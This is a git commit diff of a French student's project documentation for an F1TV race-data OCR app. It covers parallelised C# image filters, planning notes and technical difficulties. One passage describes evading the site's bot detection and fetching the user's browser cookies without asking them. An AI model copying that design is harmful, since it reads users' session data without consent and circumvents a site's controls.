Added to the performance tab of the doc

This commit is contained in:
2023-06-07 12:51:59 +02:00
parent 6653eee01c
commit 73a5bcf116
44 changed files with 24171 additions and 16704 deletions
Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

+58 -1
View File
@@ -2278,7 +2278,64 @@ Voila. Ce fut une petite liste non exhaustive de quelques difficultés technique
----
[A remplir à la fin du projet pour parler des différentes methodes d'optimisation]
Ici je vais parler des techniques que j'ai utilisé pour réduire le temps de traitement de chaques images de 50 secondes à un peu moins de 3 sur le processeur de mon laptop. En effet, dans les premières version du projet, traiter l'intégralité d'une image pouvait prendre presque une minute.
Ce qui est compliqué dans ce projet c'est qu'il y a un certain nombres de choses que je ne contrôle pas. En utilisant Tesseract, je me retrouve avec des incompressibles. En imaginant que l'OCR sur une image prenne 300ms, même si j'avais 180 threads capables de faire cette tâche en même temps, le temps de traitement sera toujours d'au moins 300ms. Créer une instance de Tesseract prend également du temps. Ma mission n'est donc pas d'arriver à des temps de quelques dixaines de milisecondes mais plutôt de rajouter le moins de temps possible pendant le traitement et de tenter de faire le plus du choses possible en paralelle.
Voici la liste des choses qui prennent du temps :
- Lancement du navigateur et navigation
- Création des instances de Tesseract
- Filtrage des images
- OCR
Ce sont les quatres gros postes qui coutent le plus cher en ressources.
Mais par chance, deux de ces postes ne sont appelés qu'une seule fois au démarrage ce qui fait que ce n'est pas catastrophique si ils prennent du temps. Tandis que l'OCR et le filtrage est fait à chaque détection.
Pour ce qui est du démarrage malheureusment on ne peut pas faire grand chose. Lancer le browser et naviguer à travers la F1TV prend du temps surtout si la connection du client est mauvaise. Pour certaines actions, j'ai fait un système qui essaie pendant 10 secondes de cliquer sur un bouton plutôt que d'attendre 10 secondes et cliquer pour tenter d'économiser un peu mais malheureusment, c'est lent et on ne peut pas y faire grand chose.
Pour la génération des instances de Tesseract c'est un peu pareil mais pour d'autres raisons. Comme Tesseract n'est pas "Thread Safe" (Ce qui veut dire qu'il n'est pas paralellisable), si on veut faire plusieurs reconnaissances à la foix il faut plusieurs instances de Tesseract loadées en mémoire. J'ai donc décidé pour une question de simplicité et de performances de faire en sorte que chaque fenêtre de donnée ou "Window" aie sa propre instance de Tesseract.
Vous qui lisez ces lignes êtes peut-être en train de vous dire "Oulala mais ca doit beaucoup de mémoire son truc la " et vous auriez parfaitement raison !
!["Consommation de mémoire peu après avoir commencé la détection"](./Images/Screens/MemoryUtilisation.png)
Ce programme consomme en effet une quantité absolument catastrophique de mémoire vive. Mais si je l'ai fait c'est pour une bonne raison. Cela prend juste beaucoup trop de temps de créer une nouvelle instance à chaque boucle de Tesseract et c'est encore plus long de faire toutes les opérations d'OCR les unes après les autres pour n'avoir qu'un seul Tessreact de loadé.
On peut parfois arriver à des chiffres qui approchent les 4GB de ram ce qui est absolument RIDICULE. Cependant c'est un compromis que j'étais prêt à faire pour avoir une application qui soit plus rapide.
Je suis absolument certain que cette solution et les autres solutions que j'ai trouvé pour ce projet ne sont pas les meilleures ou les plus efficaces. Mais ce sont les solutions que j'ai trouvé pour faire en sorte que le projet avance et fonctionne à peu près vite.
Ensuite pour ce qui est de ce qui se passe à chaque boucle, la le mot magique c'est "Parallel". Le traitement de toutes les zones est fait en même temps.
La structure du projet en zones, sous zones et fenêtres de données fait qu'il est assez facile de venir paralleliser le processus si on les implémente correctement.
![Diagramme qui montre comment les zones et fenêtres intéragissent](./Images/Figma/ZonesStuctureDiagram.png)
On peut voir sur ce diagramme que la zone principale demande à toutes les sous zones de décoder leur contenu. Ces dernières font l'exacte même chose avec les fenêtres de données qui retournent chacunes ce qu'elles contiennent après un coup d'OCR et ensuite les zones recombinent les informations et les envoient à la zone principale.
Tout cela est très bien mais quel rapport avec la paralellisation ? Et bien comme chaque zone de pilote est indépendante, on peut tout simplement faire une boucle for parallelle qui appèle toutes les zones pilotes.
On passe de 15 à 20 secondes de traitement à un peu plus de 3 juste avec cette technique. Alors ca n'était pas facile à implémenter car il a fallu programmer les zones de sorte à ce qu'elles soient toutes indépendantes les unes des autres. Mais une fois que le travail en amont a été effectué il est très simple de paralelliser.
Les filtres fonctionnent de la même facon sauf que la on paralellise le traitement de chaque ligne dans une image. L'impact est moindre qu'avec les zones mais si on teste avec une machine assez puissante cela pourrait faire la différence.
Seul soucis avec cette methode, cela feut dire que le processeur est particulièrement solicité '^^...
!["Utilisation du processeur pendant le fonctionnement de l'application"](./Images/Screens/CPUUsage.png)
Mon laptop ne possède malheureusement que six coeurs ce qui limite pas mal la puissance de la paralellisation. Mais je suis convaincu qu'avec un CPU avec plus de coeurs on pourrait arriver à d'encore meilleurs résultats.
Mais cette utilisation du processeur a aussi un inconvénient...
!["Températures du laptop pendant le fonctionnement de l'application"](./Images/Photos/PCThermals.jpg);
Donc si je veux commenter la F1 avec cet outil, note à moi même, je ne dois pas utiliser le laptop si je ne veux pas me cramer les doigts.
Si je pouvais utiliser le GPU pour accèlérer le processus on pourrait peut-être avoir de meilleurs résultats mais de ce que j'ai pu lire, l'OCR n'est pas spécialement un bon use case pour les GPU.
Pour conclure, je dirais que ce projet est loin d'être un exemple de performances et clairement il y a des choix discutables qui ont été faits et d'une manière générale si je devais refaire tout le projet avec la performance en premier objectif, j'aurais sûrement fait différemment. Maintenant avec le temps que j'ai eu je suis déja content d'avoir pu faire quelque chose qui fonctionne et qui ne prenne pas une minute à traiter une image.
## Ethique du projet
+84
View File
@@ -3111,3 +3111,87 @@ J'ai fait un manuel qui décrit à peu près tout ce qui'il faut savoir pour bie
Aujourd'hui je vais continuer à documenter... Ma methode pour l'instant c'est juste de remplir les titres que j'ai prévu au départ. Ensuite à partir de jeudi (je pense que c'est à partir de cette date que j'aurai un peu tout rempli) j'aimerais bien relire la grille d'évaluation et ensuite faire une lecture de mon journal de bord pour vérifier que je n'ai rien oublié. Et le but c'est de finir la doc Vendredi soir pour faire une dernière release doc + projet.
Un collègue M.Briard m'a pas mal aidé avec la configuration de mon mkdocs et il a développé une extension pour ajouter le code source au PDF final. La il est en train de regarder si il peut trouver un moyen de faire une table des figures qui nous est demandée. (j'ai plus de 200 images dans ma documentation alors si c'est possible de ne pas avoir à faire une table des figures à la main je prends)
## Mercredi 7 Juin
La je suis en train de parler de l'optimisation de mon application et je viens de me rappeller qu'il manquait des methodes avec de la paralellisation alors je vais les convertir avant de continuer la doc.
En fait je viens de me rendre compte qu'aucunes de mes methodes de filtres n'étaient en parralel... Je ne sais pas si jaurai le temps de le faire aujourd'hui en fait
Voici le code avant la paralellisation :
```Csharp
public static Bitmap VanishOxyAction(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int blue = (int)pixel[0];
int green = (int)pixel[1];
int red = (int)pixel[2];
int max = Math.Max(Math.Max(blue, green), red);
if (max > 255 / 3)
max = 255;
pixel[0] = pixel[1] = pixel[2] = (byte)max;
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
```
Et voici à quoi ca ressemble avec la paralellisation :
```Csharp
public Bitmap VanishOxyAction(Bitmap inputBitmap)
{
unsafe
{
BitmapData bitmapData = inputBitmap.LockBits(new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height), ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = System.Drawing.Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
int heightInPixels = bitmapData.Height;
int widthInBytes = bitmapData.Width * bytesPerPixel;
byte* PtrFirstPixel = (byte*)bitmapData.Scan0;
Parallel.For(0, heightInPixels, y =>
{
byte* currentLine = PtrFirstPixel + (y * bitmapData.Stride);
for (int x = 0; x < widthInBytes; x = x + bytesPerPixel)
{
int blue = currentLine[x];
int green = currentLine[x + 1];
int red = currentLine[x + 2];
int max = Math.Max(Math.Max(blue, green), red);
if (max > 255 / 3)
max = 255;
currentLine[x] = currentLine[x + 1] = currentLine[x + 2] = (byte)max;
}
});
inputBitmap.UnlockBits(bitmapData);
}
return inputBitmap;
}
```
Les performances n'ont pas beaucoup augmenté mais au moins comme ca c'est fait
Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

@@ -0,0 +1,4 @@
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://cloudconvert.com/
HostUrl=https://storage.cloudconvert.com/tasks/86d47ecf-9b36-49d7-920d-afdc5a0d7d24/logo.png?AWSAccessKeyId=cloudconvert-production&Expires=1686128919&Signature=lCf1WuDkeA1HMNtNKrFgORZJtJ4%3D&response-content-disposition=attachment%3B%20filename%3D%22logo.png%22&response-content-type=image%2Fpng
Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.
Binary file not shown.
+220 -6
View File
@@ -319,6 +319,30 @@
<a class="md-nav__link" href="#outils-utilises">
Outils utilisés
</a>
<nav aria-label="Outils utilisés" class="md-nav">
<ul class="md-nav__list">
<li class="md-nav__item">
<a class="md-nav__link" href="#visual-studio-2022">
Visual Studio 2022
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#visual-studio-code">
Visual Studio Code
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#materialmkdocsmarkdown">
Material/Mkdocs/Markdown
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#figma">
Figma
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#technologies-utilisees">
@@ -624,6 +648,25 @@
<a class="md-nav__link" href="#resume-des-difficultes-techniques">
Résumé des difficultés techniques
</a>
<nav aria-label="Résumé des difficultés techniques" class="md-nav">
<ul class="md-nav__list">
<li class="md-nav__item">
<a class="md-nav__link" href="#browser-headless">
Browser Headless
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#ocr_2">
OCR
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#stockage_1">
Stockage
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#optimisation-du-programme">
@@ -655,6 +698,11 @@
Notes de code
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#glossaire">
Glossaire
</a>
</li>
</ul>
</nav>
</li>
@@ -1009,6 +1057,30 @@
<a class="md-nav__link" href="#outils-utilises">
Outils utilisés
</a>
<nav aria-label="Outils utilisés" class="md-nav">
<ul class="md-nav__list">
<li class="md-nav__item">
<a class="md-nav__link" href="#visual-studio-2022">
Visual Studio 2022
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#visual-studio-code">
Visual Studio Code
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#materialmkdocsmarkdown">
Material/Mkdocs/Markdown
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#figma">
Figma
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#technologies-utilisees">
@@ -1314,6 +1386,25 @@
<a class="md-nav__link" href="#resume-des-difficultes-techniques">
Résumé des difficultés techniques
</a>
<nav aria-label="Résumé des difficultés techniques" class="md-nav">
<ul class="md-nav__list">
<li class="md-nav__item">
<a class="md-nav__link" href="#browser-headless">
Browser Headless
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#ocr_2">
OCR
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#stockage_1">
Stockage
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#optimisation-du-programme">
@@ -1345,6 +1436,11 @@
Notes de code
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#glossaire">
Glossaire
</a>
</li>
</ul>
</nav>
</div>
@@ -1500,7 +1596,51 @@ La raison la plus probable étant qu'Amazon avec son service AWS propose exactem
</ul>
<h2 id="differences-sur-le-cahier-des-charges">Différences sur le cahier des charges</h2>
<hr/>
<p>[À remplir dans les dernières semaines du travail de diplôme]</p>
<p>Ici je vais parler de l'étât du projet à la date du 12 Juin 2023.</p>
<p>A cette date, le projet est fonctionel mais comporte quelques différences avec le cahier des charges original. Je vais expliquer non seulement ces différences mais aussi les raisons qui font qu'elles sont la.</p>
<p>Pour bien comprendre les différences il faut s'en réfèrer au cahier des charges original.</p>
<p>L'application doit être "Un outil de style compagnon sous forme d'application C# Windows Form qui récupère en temps réel les informations de la course et affiche les informations les plus importantes". C'est ca la phrase la plus importante dans tout le CDC. Et je pense que très honnêtement, ce cahier des charges est rempli !</p>
<p>L'application actuellement disponible sur le répo GIT est une application de style compagnion Windows Forms qui récupère les infos de la F1TV en temps réel et elle affiche les informations qu'elle trouve importante. Donc je dirais que l'objectif général est remplis.</p>
<p>Maintenant c'est dans les détails que cela pêche.</p>
<p>Il est mentionné trois exemples d'infos à suivre je cite :</p>
<ul>
<li>"Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre)."</li>
<li>"Les pilotes qui améliorent leur temps au tour et ceux qui perdent le plus de temps"</li>
<li>"Le classement pondéré tenant compte des futurs arrêts au stand"</li>
</ul>
<p>résultats :</p>
<ol>
<li>Dans l'application on peut effectivement voir les pilotes proches (Ce sont ceux qui sont à moins de 3 secondes dans le version finale)</li>
<li>Dans l'application on peut aussi voir un affichage qui permet de voir les pilotes les plus rapides et les plus lents sur le circuit.</li>
<li>On ne peut en revanche pas voir de classement pondéré selon les arrêts aux stands car l'application a du mal à detecter des arrêts.</li>
</ol>
<p>Ensuite pour ce qui est des prédictions il n'y en a aucunes comme ca c'est simple.</p>
<p>Si on ne regarde que de très loin le CDC et le projet final on pourrait dire que c'est plutôt décevant car il manque beaucoup de choses comme les prédictions et certains affichages.</p>
<p>On peut aussi se dire ca en comparant la maquette du CDC et le résultat final.</p>
<figure class="figure-image">
<a class="glightbox" href="./Images/Figma/Prototype.png"><img alt="" du="" faite="" figma""="" maquette="" originale="" projet="" src="./Images/Figma/Prototype.png" sur=""/></a>
<figcaption>"Maquette originale du projet faite sur Figma"</figcaption>
</figure>
<figure class="figure-image">
<a class="glightbox" href="./Images/Screens/MainPage2.png"><img alt="" du="" faite="" figma""="" maquette="" originale="" projet="" src="./Images/Screens/MainPage2.png" sur=""/></a>
<figcaption>"Maquette originale du projet faite sur Figma"</figcaption>
</figure>
<p>Clairement un oeuil non avisé pourrait être très décu et pourrait dire que c'est un echec.</p>
<p>Et moi je vais vous expliquer pourquoi au contraire c'est un total succès.</p>
<p>Déja, la beauté de l'interface est très difficile a répliquer en Windows Forms et il faudrait plus d'une semaine de travail pour arriver à quelque chose qui pourrait ressembler un tout petit peu à la maquette.</p>
<p>Ensuite, si on regarde bien, on a quand même une application qui nous permet de suivre les informations de la course et qui calcule des choses à notre place. C'est déja une grosse plus-value par rapport à la page Data de la F1TV.</p>
<p>Et finalement, les prédictions, les affichages et le style ce sont les choses les moins compliquées du projet. On ne se rends pas compte que pour simplement afficher les 20 pilotes dans le bon ordre il faut énormément de travail.</p>
<p>Voici une petite représentation graphique de la quantité de travail nescessaire pour en arriver à l'étât actuel du projet :</p>
<figure class="figure-image">
<a class="glightbox" href="./Images/Figma/TimeRepartition.png"><img alt="" de="" graphique="" la="" quantité="" représentant="" requise""="" src="./Images/Figma/TimeRepartition.png" travail=""/></a>
<figcaption>"Graphique représentant la quantité de travail requise"</figcaption>
</figure>
<p>Pour en arriver à un affichage il a fallu récupèrer automatiquement les images en utilisant un browser headless ce qui a pris un temps fou à mettre en place et il a fallu surtout lire les informations que l'on recevait des images.</p>
<p>J'ai passé presque 90% du temps de mon projet à développer des choses qui permettront ensuite de faire de l'affichage.</p>
<p>Le fait qu'il y aie quoi que ce soit de logique qui s'affiche cela veut dire que TOUT LE RESTE fonctionne ! Le moindre soucis à la récupération des images, ou surtout à la reconnaissance de texte et de chiffres et l'affichage est ruiné.</p>
<p>Si j'avais passé ne serait-ce qu'une semaine de plus juste sur l'affichage le résultat final n'aurait rien à voir.</p>
<p>Le soucis c'est simplement que le cahier des charges ne parle pas du tout du reste du projet et ne parle que du résultat final.</p>
<p>Pour toutes ces raisons je dirais que le CDC était trop superficiel mais que l'application est conforme à l'idée générale de ce dernier et qu'il serait très facile de la rendre parfaitement conforme maintenant que tout le travail de fond a été fait et fonctionne et je pense donc que c'est un succès.</p>
<h2 id="planning-previsionnel">Planning prévisionnel</h2>
<hr/>
<p>Mes suiveurs m'ont demandé un planning de type GANTT pour ce travail de diplôme</p>
@@ -1570,14 +1710,62 @@ La raison la plus probable étant qu'Amazon avec son service AWS propose exactem
<p>J'ai mis une durée arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est évidemment à effectuer une fois que tout est à peu près terminé.</p>
<h2 id="planning-effectif-et-differences">Planning effectif et différences</h2>
<hr/>
<p>[A remplir dans les dernières semaines du travail de diplôme]</p>
<p>Alors !</p>
<p>Ces lignes sont écrites dans les derniers jours du travail de diplôme et j'ai des choses à dire.</p>
<p>Premièrement je suis plutôt content de mon estimation du travail. Je trouve que j'ai bien estimé la quantité de travail et combien de temps les différentes tâches allaient prendre. La plupart des dépassements sont des imprévus et/ou des allers et retours entre d'autres tâches.</p>
<p>La raison pour laquelle je suis plutôt content de ma planification, c'est que malgré l'usine à Gaz que représente ce projet et le nombre de soucis que j'ai eu, j'ai quand même pu arriver à un projet qui fonctionne en suivant plutôt fidèlement le planning. Une chose dont je suis plutôt fier c'est la documentation. En ayant développé le squelette de l'app dès le début du projet ca m'a permis d'avancer au fur et à mesure du projet la conscience tranquille.</p>
<p>Bon c'est bien joli les fleurs mais clairement c'est loin d'être parfait. Au moment de la planification je n'avais pas prévu de faire des allers et retours entre plusieurs tâches. Dans le planning effectif on peut voir que un jour je suis sur la PT3 (Stockage) et la PT5 (regroupement des mini projets en un seul gros). J'aurais peut-être du inverser l'ordre.</p>
<p>Mais il y a deux gros soucis dans mon planning :</p>
<ul>
<li>L'ordre des tâches n'était pas bon (mais il a été décidé comme ca pour que les plus grosse difficultées soient faites en premier) ce qui a créé pas mal de soucis. Ex : L'émulateur de la F1TV a été fait très tard et au final les images récupèrées n'étaient pas de la même qualité que ce que j'avais prévu en développant l'OCR en premier.</li>
<li>Les Tests ont été négligés et utilisés comme des jours tampons. Ca c'est la plus grosse erreur de planning. Autant les autres sont pénibles etc... mais n'ont pas forcément compromis la bonne réalisation du projet alors que la les tests ont été mal placés et ont au final été balayés alors que si ils avaient été mieux planifiés ca ne serait pas arrivé.</li>
</ul>
<p>Solutions :</p>
<p>L'ordre des tâches a été décidé exprès de cette facon pour éviter de prendre trop de risques. L'idée était qu'en faisant le plus dur au début, je pourrai facilement changer le cahier des charges. J'ai envie de dire que j'aurais dû être plus confiant mais pour être honnête je pense que c'était un mal pour un bien. Je ne pense pas avoir "bien" fait mais je pense que c'est une erreur qui était rentable pour mon niveau de stress dans le projet.</p>
<p>Par contre les Tests c'est tout simplement une erreur. J'en parle plus en détail dans la partie test de la documentation mais je vais résumer un peu ici.
La documentation a été faite dès le début du projet. J'ai mis en place le squelette pour qu'ensuite il soit simple d'y ajouter au fur et à mesure. J'aurais dur faire exactement pareil avec les tests. Si j'avais fait au moins le squelette des tests au début du projet j'aurais pu beaucoup plus facilement en faire et cela m'aurait fait gagner un temps fou et j'aurais même pu faire du TDD (Test Driven Developpement). Je suis persuadé que cette bête erreur de planification m'a côuté très chère car ne pas avoir une bonne stratégie de tests a du me faire perdre un temps fou.</p>
<p>Pour conclure je suis content car j'ai réussi à rendre un projet qui marche en suivant assez bien le planning mais il y a des choses que je vais devoir changer dans mes prochains projets.</p>
<h2 id="analyse-fonctionnelle">Analyse fonctionnelle</h2>
<hr/>
<p>[A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]</p>
<p>Voir "Manuel Utilisateur" tout y est indiqué</p>
<h2 id="analyse-organique">Analyse Organique</h2>
<hr/>
<h3 id="outils-utilises">Outils utilisés</h3>
<p>[A Remplir]</p>
<h4 id="visual-studio-2022">Visual Studio 2022</h4>
<figure class="figure-image">
<a class="glightbox" href="./Images/Screens/Vs2022logo.png"><img 2022""="" alt="" de="" logo="" src="./Images/Screens/Vs2022logo.png" studio="" visual=""/></a>
<figcaption>"Logo de Visual Studio 2022"</figcaption>
</figure>
<p>C'est l'application que j'ai le plus utilisé je pense. Visual Studio 2022 est l'IDE officiel de Microsoft pour coder en C#.</p>
<p>C'est l'outil que j'utilise depuis maintenant 6 ans au CFPT et franchement il fait tout ce que je pourrais vouloir. C'est aussi un outil pratique pour utiliser Windows Forms et faire des applications natives Windows.</p>
<p>Pas grand chose à dire à ce sujet à part que c'est un outil qui marche bien et qui est gratuit si on prend la community edition.</p>
<h4 id="visual-studio-code">Visual Studio Code</h4>
<figure class="figure-image">
<a class="glightbox" href="./Images/Screens/vsCodelogo.png"><img alt="" code""="" de="" logo="" src="./Images/Screens/vsCodelogo.png" studio="" visual=""/></a>
<figcaption>"Logo de Visual Studio Code"</figcaption>
</figure>
<p>Cet outil est déja un peu plus intéressant. C'est le second outil que j'ai le plus utilisé. J'en ai surtout eu besoin pour écrire de la doc, mais aussi pour coder en python et pour contrôler mkdocs.</p>
<p>Visual Studio est un IDE absolument génial qui est très puissant avec les bonnes extensions. Je l'utilise au quotidien pour tout ce qui est développement WEB, Mobile ou pour éditer des fichiers de configs pour mes drones ou imprimantes 3D. Je peux même compiler le firmware pour ces dernières en utilisant une extension faite pour.</p>
<p>Les possibilités de customisation sont presques infinies et c'est un plaisir d'utiliser ce logiciel gratuit fournis par Microsoft mais qui est amélioré constamment par des développeurs indépendants.</p>
<p>Je conseille à nimporte quel développeur de l'essayer à moins qu'il soit uniquement sur C# ou il serait plus intéressant d'utiliser visual studio 2022</p>
<h4 id="materialmkdocsmarkdown">Material/Mkdocs/Markdown</h4>
<figure class="figure-image">
<a class="glightbox" href="./Images/Screens/MaterialsLogo.png"><img alt="" de="" logo="" materials""="" mkdocs="" src="./Images/Screens/MaterialsLogo.png"/></a>
<figcaption>"Logo de Mkdocs Materials"</figcaption>
</figure>
<p>Pendant ce projet j'ai utilisé exclusivement du markdown avec l'aide de Mkdocs et Materials.</p>
<p>Le choix de Markdown a été plutôt simple, c'est une facon facile et efficace de créer de la documentation et on n'avait pas le choix de l'utiliser.</p>
<p>On avait également l'obligation (Ou au moins un très forte incitation) par nos professeurs d'utiliser mkdocs et materials pour que notre documentation ne soit pas simplement une liste de fichiers mais un joli site dans lequel il est agréable de chercher des informations.</p>
<p>Mkdocs et Materials sont deux outils vraiment fantastiques mais je dois avouer que je n'ai pas assez mis de temps pour apprendre tout leur potentiel. Pour moi ce sont simplement des outils et je veux qu'ils marchent. Je ne suis pas forcément du genre à aller changer toutes les couleurs et polices pour avoir la doc parfaite, j'ai préféré passer du temps sur mon app. Mais même si ces outils offrent une customisation très avancée, il est très facile de créer un projet simple et j'aime beaucoup cette simplicité.</p>
<p>J'ai eu pas mal d'aide de la part de M.Briard pour implémenter certaines features et je l'en remercie très chaudement car sans son aide ce document serait sûrement un peu moins facile à lire (Oui oui ca aurait pu être pire, je sais c'est dur à imaginer)</p>
<h4 id="figma">Figma</h4>
<figure class="figure-image">
<a class="glightbox" href="./Images/Screens/FigmaLogo.png"><img alt="" de="" figma""="" logo="" src="./Images/Screens/FigmaLogo.png"/></a>
<figcaption>"Logo de Figma"</figcaption>
</figure>
<p>Figma est l'outil que j'ai utilisé pour créer mon poster et un certain nombre des diagrammes de cette documentation.</p>
<p>J'utilise aussi cet outil dès que je vais faire des maquettes de sites ou d'applications. D'ailleurs les maquettes dans le cahier des charges ont été faites avec.</p>
<p>C'est un outil en ligne parfaitement gratuit qui conserve tout dans le cloud. Franchement je n'ai rien à dire, je n'ai pas utilisé plus de 15% des features que cet outil propose et je suis déja conquis.</p>
<h3 id="technologies-utilisees">Technologies utilisées</h3>
<p>Dans ce projet différents choix ont été faits pour ce qui est des technologies.</p>
<p>Certaines ont été choisies car elles étaient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de résumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec.</p>
@@ -3127,10 +3315,33 @@ Si je vois que un certain nombre est souvent mal reconnu je peux faire exprès d
<p>Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable.</p>
<h2 id="resume-des-difficultes-techniques">Résumé des difficultés techniques</h2>
<hr/>
<p>[A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]</p>
<p>Ici je vais parler très rapidement des difficultées techniques rencontrées. Si vous voulez tout savoir à propos des difficultées vous pouvez aller lire le journal de bord. C'est aussi pour éviter de me répèter par rapport aux explications des différents points dans l'analyse organique.</p>
<p>Je vais pas non plus parler des difficultées rencontrée avec des choses que je n'ai pas gardé dans le programme final donc il est normal que vous vous disiez qu'il n'y a pas eu tant de difficultés que ca.</p>
<h3 id="browser-headless">Browser Headless</h3>
<p>Il y avait plusieurs difficultées techniques avec cette histoire de Browser Headless.</p>
<p>Deja pouvoir lancer un browser headless et le contrôler. C'est difficile car il faut trouver la bonne librairie et ensuite il faut trouver le bon exectuable de geckoDriver qui permette de faire fonctionner l'application même si l'utilisateur n'a pas Firefox sur sa machine.</p>
<p>Ensuite la seconde difficulté est celle de ne pas se faire chopper comme un bot par le site de la F1TV. Il faut savoir qu'à ce jour je n'ai toujours pas réussi à faire croire à la page de login de la F1TV que j'étais un user normal en utilisant Selnnium mais au moins maintenant je peux accèder aux vidéos tranquillement.</p>
<p>Ce soucis de ne pas pouvoir se connecter avec la page de login à la plus grosse difficulté technique de cette partie du projet : la connexion automatique. Pour me connecter à la F1TV avec un browser headless la seule solution que j'ai trouvé a été d'utiliser des cookies. Et pour que l'utilisateur n'aie pas à aller chercher les siens dans son navigateur il a fallut trouver une technique pour aller les chercher directement sans lui demander son avis.</p>
<p>Autre difficutlé, comme on travaille avec un site web que l'on ne contrôle pas, il faut trouver un moyen de gèrer les erreurs et de réessayer parfois et attendre quand il faut dans les cas ou le chargement est long etc...</p>
<p>Ensuite après tout ca la dernière difficulté a été de pouvoir contrôler le firefox Headless assez bien pour qu'il puisse non seulement naviguer les pages mais aussi qu'il puisse cliquer sur des boutons qui ne s'affichent pas tout le temps.</p>
<p>(Je ne vais pas mentioner la difficulté que ca a été de mettre le browser en 4K pour des raison de santé mentale)</p>
<h3 id="ocr_2">OCR</h3>
<p>Les difficultées ici sont dans un autre niveau. Chaque type de donnée représentait sa difficulté à lui tout seul sans compter l'optimisation.</p>
<p>Pour commencer on a le texte pour les noms de pilotes. Il a fallu trouver un système qui puisse reconnaitre le texte et qui puisse comparer le résultat avec les pilotes que l'on connait.</p>
<p>Ensuite il a fallu trouver un moyen de detecter la différence entre les fenêtres de DRS où il est ouvert ou fermé. Il fallait également faire attention à ne pas faire de faux positifs.</p>
<p>Pour les temps par secteurs il a fallu trouver des filtres qui permettent de bien différencier les '1' et les '4' sans les confondre et il a aussi fallut trouver un moyen de filter l'image pour que dans le cas ou le texte serait en couleur ca fonctionne quand même. (Car oui un filtre de nuances de gris ne marche pas super avec des couleurs sombres)</p>
<p>Pour les pneus (le plus dur) il a fallut trouver un moyen de trouver sur toute la longeur de la zone la partie intéressante. Ensuite il a fallut trouver une technique pour savoir quel type de pneu c'est en fonction de la couleur moyenne et ensuite le plus dur a été d'isoler le chiffre du dessin autour car Tesseract aime pas les formes, le tout automatiquement.</p>
<p>Pour les temps au tour il a fallut trouver un moyen de ne pas confondre les ponctuations avec des chiffres tout en ne les ratant pas. Et il a fallu trouver un moyen de detecter quand inévitablement cela arrive quand même.</p>
<p>Et la dernière difficulté (la plus pénible) a été de detecter les écarts entre les pilotes. Il a fallut trouver une facon de decoder le texte en temps mais aussi de faire tout un système qui détecte et règle les cas ou un ':' a été oublié ou confondu tout en ne sachant pas si il était scensé y en avoir à la base car les valeurs peuvent varier entre '1_23.657' et '0.452'.</p>
<h3 id="stockage_1">Stockage</h3>
<p>Pour ce qui est du stockage la grande difficulté a été de savoir quand un pilote avait avait finit un tour car chaque pilote finit son tour à un moment différent. Il a également fallut trouver un moyen de savoir les données d'un pilote étaient logiques.</p>
<p>Une difficulté qui n'a pas été complêtement dépassée est de savoir quand un pilote a fait un arrêt aux stands car la detection de l'age des pneus est plus que mauvaise.</p>
<p>Voila. Ce fut une petite liste non exhaustive de quelques difficultés techniques que j'ai rencontré pendant ce projet.</p>
<h2 id="optimisation-du-programme">Optimisation du programme</h2>
<hr/>
<p>[A remplir à la fin du projet pour parler des différentes methodes d'optimisation]</p>
<p>Ici je vais parler des techniques que j'ai utilisé pour réduire le temps de traitement de chaques images de 50 secondes à un peu moins de 3 sur le processeur de mon laptop. En effet, dans les premières version du projet, traiter l'intégralité d'une image pouvait prendre presque une minute.</p>
